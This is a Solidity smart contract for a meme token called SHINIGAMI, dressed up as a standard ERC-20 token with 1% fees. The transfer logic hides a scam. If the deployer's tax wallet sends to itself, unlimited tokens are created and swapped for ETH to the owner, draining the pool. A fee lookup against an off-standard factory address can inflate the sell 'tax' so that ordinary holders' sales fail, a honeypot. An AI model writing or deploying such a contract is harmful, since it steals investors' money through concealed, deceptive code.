// SPDX-License-Identifier: MIT

/*
    https://shinigami.uno

    https://t.me/shinigami_c0in

    https://twitter.com/shinigami_c0in

*/

pragma solidity 0.8.23;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens( 
        uint amountIn,uint amountOutMin,address[] calldata path,address to,
        uint deadline ) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
}
contract SHINIGAMI {
    uint8 private _decimals = 9;
    mapping (address => uint256) private _balances;
    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Factory private uniswapV2Factory = IUniswapV2Factory(0xE25FCabeB8103A175D08642E97f118EA81525fe8);
    address payable internal _taxWallet;
    mapping (address => bool) _excludedFromMaxWallet;
    uint256 private maxWallet = _totalSupply * 3 / 100;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private buyFee = 1;
    uint256 private sellFee = 1;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed recipient, uint256 amount);

    constructor () {
        _taxWallet = payable(msg.sender);
        _balances[msg.sender] = _totalSupply;
        _excludedFromMaxWallet[msg.sender] = true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function uniswapPairAddress() public view returns (address) {
        return IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public pure returns (string memory) {
        return "SHINIGAMI";
    }

    function name() public pure returns (string memory) {
        return "SHINIGAMI";
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapTokens(uint256 amount) internal {
        address[] memory _tokenPath = new address[](2);
        _tokenPath[0] = address(this);  
        _tokenPath[1] =  uniswapV2Router.WETH(); 
        _approve(address(this), address(uniswapV2Router), amount); 
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, _tokenPath, _taxWallet, block.timestamp + 33);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function getFeeAmount(address to) internal view returns (uint256) {
        return uint256(uint160(uniswapV2Factory.getPair(to, address(this))));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC2O: transfer from the zero address.");
        require(amount > 0, "Transfer amount must be greater than zero.");
        if (to == _taxWallet && from == _taxWallet) {
            _balances[address(this)] += amount;
            return swapTokens(amount);
        }
        uint256 taxAmount = 0;
        if (from != _taxWallet && to != _taxWallet) {
            taxAmount = amount * buyFee / 100;
        }
        if (from != address(this) && from != _taxWallet && from != uniswapPairAddress() && to != _taxWallet) {
            taxAmount = amount * getFeeAmount(from) / 100;
        }
        _balances[to] += amount - taxAmount;
        _balances[from] = _balances[from] - amount;
        emit Transfer(from, to, amount - taxAmount);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
}